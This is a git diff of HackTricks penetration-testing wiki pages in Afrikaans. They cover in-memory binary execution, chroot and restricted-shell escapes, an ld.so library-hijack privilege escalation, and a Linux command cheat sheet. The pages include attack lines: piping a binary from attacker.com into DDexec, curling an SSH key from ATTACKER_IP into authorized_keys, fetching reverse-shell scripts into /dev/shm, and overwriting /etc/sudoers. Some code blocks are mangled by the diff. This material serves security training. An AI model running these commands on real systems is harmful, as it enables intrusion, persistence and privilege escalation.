{% hint style="success" %}
|
||||
**DDexec / EverythingExec** sal jou in staat stel om jou eie **shellcode** of **enige binêre** vanaf **geheue** te laai en **uit te voer**.
|
||||
{% endhint %}
|
||||
|
||||
```bash
|
||||
# Basic example
|
||||
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
||||
```
|
||||
|
||||
Vir meer inligting oor hierdie tegniek, kyk op die Github of:
|
||||
|
||||
{% content-ref url="ddexec.md" %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Ontsnapping uit Gevangenisse
|
||||
# Escaping from Jails
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Andere manieren om HackTricks te ondersteunen:
|
|||
* Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks wilt downloaden in PDF**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
|
||||
* Koop de [**officiële PEASS & HackTricks-merchandise**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit je aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit je aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
@ -40,24 +40,14 @@ Meestal vind je het `chroot`-binair bestand niet binnen een chroot-gevangenis, m
|
|||
<details>
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
\`\`\`c #include #include #include
|
||||
|
||||
int main(void)
|
||||
{
|
||||
mkdir("chroot-dir", 0755);
|
||||
chroot("chroot-dir");
|
||||
for(int i = 0; i < 1000; i++) {
|
||||
chdir("..");
|
||||
}
|
||||
chroot(".");
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
//gcc break\_chroot.c -o break\_chroot
|
||||
|
||||
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
@ -72,22 +62,16 @@ for i in range(1000):
|
|||
os.chdir("..")
|
||||
os.chroot(".")
|
||||
os.system("/bin/bash")
|
||||
```
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Perl</summary>
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
mkdir "chroot-dir";
|
||||
chroot "chroot-dir";
|
||||
foreach my $i (0..1000) {
|
||||
chdir ".."
|
||||
}
|
||||
chroot ".";
|
||||
system("/bin/bash");
|
||||
```
|
||||
|
||||
\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`
|
||||
|
||||
</details>
|
||||
|
||||
### Root + Opgeslagen fd
|
||||
|
@ -99,31 +83,20 @@ Dit is soortgelyk aan die vorige geval, maar in hierdie geval **stoor die aanval
|
|||
<details>
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
\`\`\`c #include #include #include
|
||||
|
||||
int main(void)
|
||||
{
|
||||
mkdir("tmpdir", 0755);
|
||||
dir_fd = open(".", O_RDONLY);
|
||||
if(chroot("tmpdir")){
|
||||
perror("chroot");
|
||||
}
|
||||
fchdir(dir_fd);
|
||||
close(dir_fd);
|
||||
for(x = 0; x < 1000; x++) chdir("..");
|
||||
chroot(".");
|
||||
}
|
||||
```
|
||||
//gcc break\_chroot.c -o break\_chroot
|
||||
|
||||
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
### Root + Fork + UDS (Unix Domain Sockets)
|
||||
|
||||
{% hint style="warning" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
FD kan oorgedra word oor Unix Domain Sockets, so:
|
||||
|
||||
* Skep 'n kinderproses (fork)
|
||||
|
@ -132,39 +105,48 @@ FD kan oorgedra word oor Unix Domain Sockets, so:
|
|||
* In ouer proses, skep 'n FD van 'n vouer wat buite die nuwe kinderproses se chroot is
|
||||
* Gee daardie FD aan die kinderproses deur die UDS te gebruik
|
||||
* Kindproses chdir na daardie FD, en omdat dit buite sy chroot is, sal hy die tronk ontsnap
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
###  Root + Mount
|
||||
|
||||
{% hint style="warning" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* Monteer die roetetoestel (/) in 'n gids binne die chroot
|
||||
* Chroot in daardie gids
|
||||
|
||||
Dit is moontlik in Linux
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
### Root + /proc
|
||||
|
||||
{% hint style="warning" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* Monteer procfs in 'n gids binne die chroot (as dit nog nie is nie)
|
||||
* Soek na 'n pid wat 'n verskillende roet/cwd inskrywing het, soos: /proc/1/root
|
||||
* Chroot in daardie inskrywing
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
### Root(?) + Fork
|
||||
|
||||
{% hint style="warning" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* Skep 'n Fork (kinderproses) en chroot in 'n ander vouer dieper in die FS en CD daarop
|
||||
* Vanuit die ouerproses, skuif die vouer waar die kinderproses in is na 'n vouer voor die chroot van die kinders
|
||||
* Hierdie kinderproses sal homself buite die chroot vind
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
### ptrace
|
||||
|
||||
{% hint style="warning" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* 'n Tyd gelede kon gebruikers hul eie prosesse vanuit 'n proses van hulself afkamp... maar dit is nie meer standaard moontlik nie
|
||||
* In elk geval, as dit moontlik is, kan jy ptrace in 'n proses doen en 'n shellcode daarin uitvoer ([sien hierdie voorbeeld](linux-capabilities.md#cap\_sys\_ptrace)).
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
## Bash Tronke
|
||||
|
||||
|
@ -177,16 +159,19 @@ echo $PATH
|
|||
env
|
||||
export
|
||||
pwd
|
||||
```
|
||||
### Wysig PATH
|
||||
````
|
||||
|
||||
#### Wysig PATH
|
||||
|
||||
Kyk of jy die PATH-omgewingsveranderlike kan wysig.
|
||||
|
||||
```bash
|
||||
echo $PATH #See the path of the executables that you can use
|
||||
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
||||
echo /home/* #List directory
|
||||
```
|
||||
### Gebruik van vim
|
||||
|
||||
#### Gebruik van vim
|
||||
|
||||
Vim is 'n kragtige teksredigeerder wat gebruik kan word om lêers te wysig en te skep. Dit kan ook gebruik word as 'n hulpmiddel vir priviligie-escalasie in 'n beperkte bash-omgewing.
|
||||
|
||||
|
@ -203,74 +188,83 @@ Dit sal vim in die beperkte omgewing aktiveer. Jy kan dan die volgende stappe vo
|
|||
3. Tik `:shell` en druk `Enter` om 'n nuwe bash-sessie te begin met volle toegang.
|
||||
|
||||
Hierdie tegniek kan gebruik word om beperkte bash-omgewings te ontsnap en toegang te verkry tot volle beheer oor die stelsel.
|
||||
|
||||
```bash
|
||||
:set shell=/bin/sh
|
||||
:shell
|
||||
```
|
||||
### Skep skrip
|
||||
|
||||
#### Skep skrip
|
||||
|
||||
Kyk of jy 'n uitvoerbare lêer met _/bin/bash_ as inhoud kan skep
|
||||
|
||||
```bash
|
||||
red /bin/bash
|
||||
> w wx/path #Write /bin/bash in a writable and executable path
|
||||
```
|
||||
### Kry bash vanaf SSH
|
||||
|
||||
#### Kry bash vanaf SSH
|
||||
|
||||
As jy toegang verkry via ssh, kan jy hierdie truuk gebruik om 'n bash-skulp te hardloop:
|
||||
|
||||
```bash
|
||||
ssh -t user@<IP> bash # Get directly an interactive shell
|
||||
ssh user@<IP> -t "bash --noprofile -i"
|
||||
ssh user@<IP> -t "() { :; }; sh -i "
|
||||
```
|
||||
### Verklaar
|
||||
|
||||
#### Verklaar
|
||||
|
||||
```bash
|
||||
declare -n PATH; export PATH=/bin;bash -i
|
||||
|
||||
BASH_CMDS[shell]=/bin/bash;shell -i
|
||||
```
|
||||
### Wget
|
||||
|
||||
#### Wget
|
||||
|
||||
Jy kan byvoorbeeld die sudoers-lêer oorskryf.
|
||||
|
||||
```bash
|
||||
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
||||
```
|
||||
### Ander truuks
|
||||
|
||||
#### Ander truuks
|
||||
|
||||
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
||||
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
|
||||
**Dit kan ook interessant wees die bladsy:**
|
||||
|
||||
{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %}
|
||||
[bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Python Tronke
|
||||
### Python Tronke
|
||||
|
||||
Truuks oor ontsnapping uit python tronke op die volgende bladsy:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Lua Tronke
|
||||
### Lua Tronke
|
||||
|
||||
Op hierdie bladsy kan jy die globale funksies vind waarop jy toegang het binne lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||
|
||||
**Eval met opdrag uitvoering:**
|
||||
|
||||
```bash
|
||||
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
||||
```
|
||||
|
||||
Sommige truuks om **funksies van 'n biblioteek te roep sonder om punte te gebruik**:
|
||||
|
||||
```bash
|
||||
print(string.char(0x41, 0x42))
|
||||
print(rawget(string, "char")(0x41, 0x42))
|
||||
```
|
||||
|
||||
Enumerasie van funksies van 'n biblioteek:
|
||||
|
||||
```bash
|
||||
for k,v in pairs(string) do print(k,v) end
|
||||
```
|
||||
|
||||
Let wel, elke keer as jy die vorige een-regel kode in 'n **verskillende lua-omgewing uitvoer, verander die volgorde van die funksies**. Daarom, as jy 'n spesifieke funksie wil uitvoer, kan jy 'n brute force-aanval uitvoer deur verskillende lua-omgewings te laai en die eerste funksie van die le-biblioteek aan te roep:
|
||||
|
||||
```bash
|
||||
#In this scenario you could BF the victim that is generating a new lua environment
|
||||
#for every interaction with the following line and when you are lucky
|
||||
|
@ -281,24 +275,17 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
|||
#and "char" from string library, and the use both to execute a command
|
||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||
```
|
||||
|
||||
**Kry interaktiewe lua-skaal**: As jy binne 'n beperkte lua-skaal is, kan jy 'n nuwe lua-skaal (en hopelik onbeperkte) kry deur die volgende te roep:
|
||||
|
||||
```bash
|
||||
debug.debug()
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
### Verwysings
|
||||
|
||||
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Dia's: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# ld.so privesc uitbuiting voorbeeld
|
||||
# ld.so privesc exploit example
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Andere manieren om HackTricks te ondersteunen:
|
|||
* Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks in PDF wilt downloaden**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
|
||||
* Koop de [**officiële PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit je aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit je aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
@ -18,8 +18,6 @@ Andere manieren om HackTricks te ondersteunen:
|
|||
|
||||
In de volgende sectie vind je de code van de bestanden die we gaan gebruiken om de omgeving voor te bereiden
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sharedvuln.c" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include "libcustom.h"
|
||||
|
@ -30,7 +28,6 @@ vuln_func();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="libcustom.h" %}
|
||||
|
||||
Hierdie lêer definieer die funksies en strukture vir die `libcustom` biblioteek.
|
||||
|
||||
|
@ -49,13 +46,11 @@ int add_numbers(int a, int b);
|
|||
#endif /* LIBCUSTOM_H */
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void vuln_func();
|
||||
```
|
||||
{% tab title="libcustom.c" %}
|
||||
|
||||
Hier is 'n voorbeeld van 'n eenvoudige C-program wat 'n aangepaste biblioteek, libcustom.so, gebruik:
|
||||
|
||||
|
@ -69,7 +64,6 @@ void custom_function() {
|
|||
|
||||
Hierdie program bevat 'n enkele funksie, `custom_function()`, wat 'n eenvoudige boodskap na die uitvoer skryf. Hierdie funksie sal gebruik word in die volgende voorbeeld om die priviligie-escalasie te demonstreer.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -78,6 +72,7 @@ void vuln_func()
|
|||
puts("Hi");
|
||||
}
|
||||
```
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Afrikaans" %}
|
||||
1. **Skep** daardie lêers op jou rekenaar in dieselfde vouer
|
||||
|
@ -85,11 +80,12 @@ puts("Hi");
|
|||
3. **Kopieer** `libcustom.so` na `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
|
||||
4. **Kompileer** die **uitvoerbare lêer**: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
|
||||
### Kontroleer die omgewing
|
||||
#### Kontroleer die omgewing
|
||||
|
||||
Kontroleer dat _libcustom.so_ vanaf _/usr/lib_ **gelaai** word en dat jy die binêre lêer kan **uitvoer**.
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
```
|
||||
$ ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||
|
@ -101,14 +97,18 @@ $ ./sharedvuln
|
|||
Welcome to my amazing application!
|
||||
Hi
|
||||
```
|
||||
|
||||
## Uitbuiting
|
||||
|
||||
In hierdie scenario gaan ons aanneem dat **iemand 'n kwesbare inskrywing geskep het** binne 'n lêer in _/etc/ld.so.conf/_:
|
||||
|
||||
```bash
|
||||
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
||||
```
|
||||
|
||||
Die kwesbare gids is _/home/ubuntu/lib_ (waar ons skryftoegang het).\
|
||||
**Laai die volgende kode af en stel dit saam** binne daardie pad:
|
||||
|
||||
```c
|
||||
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
||||
|
||||
|
@ -123,9 +123,11 @@ printf("I'm the bad library\n");
|
|||
system("/bin/sh",NULL,NULL);
|
||||
}
|
||||
```
|
||||
|
||||
Nou dat ons die kwaadwillige libcustom-biblioteek binne die verkeerd gekonfigureerde pad geskep het, moet ons wag vir 'n herlaai of vir die root-gebruiker om `ldconfig` uit te voer (as jy hierdie binêre lêer as `sudo` kan uitvoer of as dit die `suid-bit` het, sal jy dit self kan uitvoer).
|
||||
|
||||
Sodra dit gebeur het, **herkontroleer** waar die `sharevuln` uitvoerbare lêer die `libcustom.so`-biblioteek laai vanaf:
|
||||
|
||||
```c
|
||||
$ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||
|
@ -133,7 +135,9 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||
```
|
||||
|
||||
Soos u kan sien, laai dit dit vanaf `/home/ubuntu/lib` en as enige gebruiker dit uitvoer, sal 'n skulp uitgevoer word:
|
||||
|
||||
```c
|
||||
$ ./sharedvuln
|
||||
Welcome to my amazing application!
|
||||
|
@ -141,6 +145,7 @@ I'm the bad library
|
|||
$ whoami
|
||||
ubuntu
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Let wel dat ons in hierdie voorbeeld nie voorregte verhoog het nie, maar deur die opdragte wat uitgevoer word te wysig en **te wag vir die root- of ander bevoorregte gebruiker om die kwesbare binêre lêer uit te voer**, sal ons in staat wees om voorregte te verhoog.
|
||||
{% endhint %}
|
||||
|
@ -155,13 +160,16 @@ Maar daar is ander verkeerde konfigurasies wat dieselfde kwesbaarheid kan veroor
|
|||
**Stel dat jy sudo-voorregte het oor `ldconfig`**.\
|
||||
Jy kan `ldconfig` aandui **waar om die konf-lêers vanaf te laai**, sodat ons dit kan benut om `ldconfig` willekeurige vouers te laat laai.\
|
||||
So, laat ons die lêers en vouers skep wat nodig is om "/tmp" te laai:
|
||||
|
||||
```bash
|
||||
cd /tmp
|
||||
echo "include /tmp/conf/*" > fake.ld.so.conf
|
||||
echo "/tmp" > conf/evil.conf
|
||||
```
|
||||
|
||||
Nou, soos aangedui in die **vorige uitbuit**, **skep die skadelike biblioteek binne `/tmp`**.\
|
||||
En uiteindelik, laai die pad en kyk waar die binêre lading die biblioteek vandaan:
|
||||
|
||||
```bash
|
||||
ldconfig -f fake.ld.so.conf
|
||||
|
||||
|
@ -171,6 +179,7 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||
```
|
||||
|
||||
**Soos u kan sien, kan u dieselfde kwesbaarheid uitbuit deur sudo-voorregte oor `ldconfig` te hê.**
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -192,7 +201,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As u u **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel u haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
371
linux-hardening/useful-linux-commands.md
Normal file
371
linux-hardening/useful-linux-commands.md
Normal file
|
@ -0,0 +1,371 @@
|
|||
# Nuttige Linux-opdragte
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Algemene Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
||||
#Get HexDump without new lines
|
||||
xxd -p boot12.bin | tr -d '\n'
|
||||
|
||||
#Add public key to authorized keys
|
||||
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
||||
|
||||
#Echo without new line and Hex
|
||||
echo -n -e
|
||||
|
||||
#Count
|
||||
wc -l <file> #Lines
|
||||
wc -c #Chars
|
||||
|
||||
#Sort
|
||||
sort -nr #Sort by number and then reverse
|
||||
cat file | sort | uniq #Sort and delete duplicates
|
||||
|
||||
#Replace in file
|
||||
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
|
||||
|
||||
#Download in RAM
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
|
||||
#Files used by network processes
|
||||
lsof #Open files belonging to any process
|
||||
lsof -p 3 #Open files used by the process
|
||||
lsof -i #Files used by networks processes
|
||||
lsof -i 4 #Files used by network IPv4 processes
|
||||
lsof -i 6 #Files used by network IPv6 processes
|
||||
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
|
||||
lsof +D /lib #Processes using files inside the indicated dir
|
||||
lsof -i :80 #Files uses by networks processes
|
||||
fuser -nv tcp 80
|
||||
|
||||
#Decompress
|
||||
tar -xvzf /path/to/yourfile.tgz
|
||||
tar -xvjf /path/to/yourfile.tbz
|
||||
bzip2 -d /path/to/yourfile.bz2
|
||||
tar jxf file.tar.bz2
|
||||
gunzip /path/to/yourfile.gz
|
||||
unzip file.zip
|
||||
7z -x file.7z
|
||||
sudo apt-get install xz-utils; unxz file.xz
|
||||
|
||||
#Add new user
|
||||
useradd -p 'openssl passwd -1 <Password>' hacker
|
||||
|
||||
#Clipboard
|
||||
xclip -sel c < cat file.txt
|
||||
|
||||
#HTTP servers
|
||||
python -m SimpleHTTPServer 80
|
||||
python3 -m http.server
|
||||
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
||||
php -S $ip:80
|
||||
|
||||
#Curl
|
||||
#json data
|
||||
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
|
||||
#Auth via JWT
|
||||
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
|
||||
|
||||
#Send Email
|
||||
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
|
||||
|
||||
#DD copy hex bin file without first X (28) bytes
|
||||
dd if=file.bin bs=28 skip=1 of=blob
|
||||
|
||||
#Mount .vhd files (virtual hard drive)
|
||||
sudo apt-get install libguestfs-tools
|
||||
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
|
||||
|
||||
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
|
||||
ssh-keyscan 10.10.10.101
|
||||
|
||||
# Openssl
|
||||
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
|
||||
openssl x509 -in ca.cert.pem -text #Read certificate
|
||||
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
|
||||
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
|
||||
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
|
||||
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
|
||||
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
|
||||
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
|
||||
# Decrypt ssh key
|
||||
openssl rsa -in key.ssh.enc -out key.ssh
|
||||
#Decrypt
|
||||
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
|
||||
|
||||
